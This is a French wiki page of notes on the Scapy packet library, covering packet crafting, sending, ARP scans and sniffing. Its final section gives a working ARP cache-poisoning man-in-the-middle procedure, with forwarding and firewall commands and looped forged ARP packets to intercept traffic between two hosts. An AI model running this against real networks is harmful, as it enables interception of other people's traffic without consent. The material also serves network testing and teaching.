python:scapy:accueil

Scapy

Cloner le dépôt GitHub pour avoir la dernière version.

Installer les paquets ipython et tcpdump.

Lancer en root:

sudo ./run_scapy
Voir la table de routage
conf.route.route('<adresse>')

Cette table de routage est construite en copiant celle du système au démarrage de Scapy.

pkt = Ether(dst="<adresse mac>") / IP(dst="<adresse ip>") / UDP(dport=53) / DNS()

Décrire un paquet:

ls(IP())

Envoi d'un paquet de niveau 3:

send(IP())

Envoi d'un paquet de niveau 2:

sendp(Ether() / IP(), iface='eth0')

Si attente d'une réponse: sr1() ou srp1()

srp1(Ether(dst=ETHER_BROADCAST, ARP(op="who-has", pdst="172.21.123.45")))

Envoi de paquets à une plage IP:

ans, unans = srp(Ether(dst=ETHER_BROADCAST, ARP(pdst="192.168.0.0/24")), timeout=2, retry=-2)
ans.show() #: formate tous les paquets reçus de façon sympa

ans contient des couples (paquet_envoyé, paquet_reçu), unans contient les paquets envoyés sans réponses.

Connaître l'adresse MAC qui répond à une IP:

ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254.1"),timeout=2)
 
results = []
for i in range(1,5):
    ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254." + str(i)),timeout=2)
    results.append(ans[0][1].psrc + " " + ans[0][1].hwsrc)
for x in results: print(x)
Dot1Q()
pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary)

ou pour mettre en forme l'affichage:

pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary + p.sprintf("seq: %TCP.seq% ack: %TCP.ack%"))

Aléatoire (pour changer le port à chaque requête par exemple):

RandShort()

S'assurer que le paquet a les flags SYN et ACK activés:

[TCP].flags & 18

Récupérer le trafic entre les machines A et B:

  1. Activer le routage des paquets:
    sudo sysctl net/ipv4/ip_forward=1

    et désactiver les redirections de politesse:

    sudo sysctl net/ipv4/conf/all/send_redirects=0
  2. Adapter le parefeu (pas de règles bizarres), notamment autoriser le forwarding:
    sudo iptables -P FORWARD ACCEPT
  3. Récupérer les adresses MAC des adresses IP A et B:
    srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip A>",psrc="<ip pirate>"))
    srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip B>",psrc="<ip pirate>"))

    L'adresse MAC se trouve dans le champ src de la trame Ethernet.

  4. Cache-poisoning des tables ARP de A et B:
    sendp(Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), inter=1, loop=1)
    sendp(Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>"), inter=1, loop=1)

    Si on met inter=RandNum(10, 40) , l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire), loop=1 lance l'exécution en boucle.

  5. Sniffer le réseau:
    pkts = sniff(filter="host <ipA> or host <ipB>", prn=lambda p: p.summary)

Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables:

pkts = [Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>")]
srploop(pkts, inter=1, store=False)

store=False permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.

  • python/scapy/accueil.txt
  • Dernière modification : 2024/07/27 18:13
  • de phsw